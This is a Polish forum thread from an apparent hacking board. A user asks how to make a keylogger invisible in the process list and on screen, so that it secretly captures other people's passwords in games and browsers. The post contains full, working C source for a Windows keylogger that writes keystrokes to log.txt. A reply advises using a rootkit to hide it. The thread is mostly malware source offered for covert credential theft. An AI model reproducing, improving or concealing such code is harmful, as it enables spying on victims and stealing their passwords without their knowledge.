Pokaż wyniki 1 do 3 z 3

Temat: Prosze pomoc

  1. #1
    Zarejestrowany
    Aug 2007
    Postów
    10

    Domyślnie Prosze pomoc

    1.Chce zeby ten program byl niewidoczny, ani w procesach ani na 1 oknie..
    2.I zeby nawet jak ktos wejdzie powiedzmy na np wow'a / przegladarke - zeby i tak zapisywalo jego hasla (ale zeby to bylo niewidoczne)
    Oto kod programu:
    Kod:
    #include <conio.h>
    #include <stdio.h>
    #include <iostream.h>
    #include <windows.h>
    
    
    int WINAPI WinMain (HINSTANCE hThisInstance,
                       HINSTANCE hPrevInstance,
                       LPSTR lpszArgument,
                       int nFunsterStil)
    {
     
       MSG messages;
       MSG msgKomunikat;
       msgKomunikat.message = WM_NULL;
       while (msgKomunikat.message != WM_QUIT)
       {
           if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))
           {
                   TranslateMessage (&msgKomunikat);
                   DispatchMessage (&msgKomunikat);
           }
       else
       {
       short character;
            for(character=8;character<=222;character++)
            {
            if(GetAsyncKeyState(character)==-32767)
            {
            FILE *file;
            if(file=fopen("log.txt","a+"))
            {
            if((character>=39)&&(character<=64))
            {
            fputc(character,file);
            fclose(file);
            break;
            }
            else if((character>64)&&(character<91))
            {
            character+=32;
            fputc(character,file);
            fclose(file);
            break;
            }
            else
            {
             
            switch(character)
            {
            case VK_SPACE:
            fputc(' ',file);
            fclose(file);
            break;
            case VK_SHIFT:
            fputs("[SHIFT]",file);
            fclose(file);
            break;
            case VK_RETURN:
            fputs("\n[ENTER]",file);
            fclose(file);
            break;
            case VK_BACK:
            fputs("[BACKSPACE]",file);
            fclose(file);
            break;
            case VK_TAB:
            fputs("[TAB]",file);
            fclose(file);
            break;
            case VK_CONTROL:
            fputs("[ALT\\CTRL]",file);
            fclose(file);
            break;
            case VK_DELETE:
            fputs("[DEL]",file);
            fclose(file);
            break;
            case VK_OEM_1:
            fputs("[;:]",file);
            fclose(file);
            break;
            case VK_OEM_2:
            fputs("[/?]",file);
            fclose(file);
            break;
            case VK_OEM_3:
            fputs("[`~]",file);
            fclose(file);
            break;
            case VK_OEM_4:
            fputs("[ [{ ]",file);
            fclose(file);
            break;
            case VK_OEM_5:
            fputs("[\\|]",file);
            fclose(file);
            break;
            case VK_OEM_6:
            fputs("[ ]} ]",file);
            fclose(file);
            break;
            case VK_OEM_7:
            fputs("['\"]",file);
            fclose(file);
            break;
            case VK_NUMPAD0:
            fputc('0',file);
            fclose(file);
            break;
            case VK_NUMPAD1:
            fputc('1',file);
            fclose(file);
            break;
            case VK_NUMPAD2:
            fputc('2',file);
            fclose(file);
            break;
            case VK_NUMPAD3:
            fputc('3',file);
            fclose(file);
            break;
            case VK_NUMPAD4:
            fputc('4',file);
            fclose(file);
            break;
            case VK_NUMPAD5:
            fputc('5',file);
            fclose(file);
            break;
            case VK_NUMPAD6:
            fputc('6',file);
            fclose(file);
            break;
            case VK_NUMPAD7:
            fputc('7',file);
            fclose(file);
            break;
            case VK_NUMPAD8:
            fputc('8',file);
            fclose(file);
            break;
            case VK_NUMPAD9:
            fputc('9',file);
            fclose(file);
            break;
            case VK_CAPITAL:
            fputs("[CAPS LOCK]",file);
            fclose(file);
            break;
            default:
            fclose(file);
            break;
            }
            }
            }
            }
          }
    }
    }
         return messages.wParam;
    }
    
    LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
       switch (message)                  
       {
           case WM_DESTROY:
               PostQuitMessage (0);      
               break;
           default:                  
               return DefWindowProc (hwnd, message, wParam, lParam);
       }
    
       return 0;
    }

  2. #2
    Zarejestrowany
    Aug 2007
    Postów
    10

    Domyślnie

    Ajj... nikt mi nie pomogł... sam sobie dalem rade )

    Topic do zamkniecia..

  3. #3
    Zarejestrowany
    Jul 2007
    Postów
    120

    Domyślnie

    No pewnie że sobie dałeś radę.
    Jest to program konsolowy - nie ukryjesz go w procesach.
    Żeby ukryć program w procesach musisz nieźle nakombinować - twoja wiedza jest nie wystarczająca. Prościej będzie uzyć rotkita.

Podobne wątki

  1. Prosze o pomoc
    By kita in forum Newbie - dla początkujących!
    Odpowiedzi: 12
    Autor: 05-06-2007, 19:35
  2. Prosze o pomoc
    By Puma in forum Hacking
    Odpowiedzi: 0
    Autor: 03-24-2007, 15:39
  3. prosze o pomoc
    By ironwall in forum HTML/DHTML/XHTML
    Odpowiedzi: 4
    Autor: 02-13-2007, 09:02
  4. prosze o pomoc
    By ironwall in forum Hacking
    Odpowiedzi: 1
    Autor: 01-26-2007, 21:36

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52